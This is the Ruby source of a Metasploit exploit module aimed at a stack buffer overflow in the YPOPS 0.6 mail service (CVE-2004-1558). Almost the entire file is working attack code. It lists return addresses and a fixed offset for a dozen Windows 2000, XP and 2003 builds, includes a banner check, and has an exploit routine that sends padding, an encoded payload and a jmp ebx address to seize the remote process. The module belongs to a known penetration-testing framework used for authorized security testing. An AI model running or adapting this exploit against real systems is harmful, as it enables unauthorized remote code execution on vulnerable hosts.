metasploit-framework/modules/exploits/windows/smtp/ypops_overflow1.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Smtp
def initialize(info = {})
super(update_info(info,
'Name' => 'YPOPS 0.6 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the YPOPS POP3
service.
This is a classic stack buffer overflow for YPOPS version 0.6.
Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
jmp ebx opcode in ws_32.dll
},
'Author' => [ 'acaro <acaro[at]jervus.it>' ],
'References' =>
[
[ 'CVE', '2004-1558'],
[ 'OSVDB', '10367'],
[ 'BID', '11256'],
[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
],
'Platform' => 'win',
'Privileged' => false,
'Payload' =>
{
'Space' => 1200,
'BadChars' => "\x00\x25",
'MinNops' => 106,
},
'Targets' =>
[
[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
],
'DisclosureDate' => 'Sep 27 2004'))
end
def check
connect
disconnect
banner.gsub!(/\n/, '')
if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
print_status("Vulnerable SMTP server: #{banner}")
return Exploit::CheckCode::Detected
end
print_status("Unknown SMTP server: #{banner}")
return Exploit::CheckCode::Safe
end
def exploit
connect
pattern =
rand_text_alpha(target['Offset'] - payload.encoded.length) +
payload.encoded +
[target.ret].pack('V') +
"\n"
print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
sock.put(pattern)
handler
disconnect
end
end